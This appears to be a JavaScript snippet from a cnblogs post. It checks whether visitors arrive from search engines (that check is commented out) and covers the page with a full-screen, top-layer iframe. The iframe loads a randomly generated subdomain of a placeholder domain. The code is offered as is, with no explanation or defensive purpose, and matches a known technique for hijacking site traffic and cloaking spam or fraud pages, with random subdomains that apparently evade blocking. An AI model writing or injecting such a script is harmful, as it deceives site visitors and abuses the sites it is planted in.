var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
console.log(where)
var url = randstr();
// if(regexp.test(where)){
document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
var iframe = document.createElement('iframe');
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
if (is_mobi) {
iframe.src = url; //手机
} else {
iframe.src = url; //PC
}
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
// }
function randstr() {
var ua = navigator.userAgent.toLowerCase();
var isMobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(ua);
var prefixLength = 5;
var baseDomain = '域名';
var randomPrefix = '';
for (var i = 0; i < prefixLength; i++) {
var randomChar = Math.random().toString(36).substring(7);
randomPrefix += randomChar;
}
var randomUrl = 'https://' + randomPrefix + '.' + baseDomain;
return randomUrl;
};
标签:前缀,100%,二级域名,js,iframe,var,div,document,div1 From: https://www.cnblogs.com/barry1212/p/18688000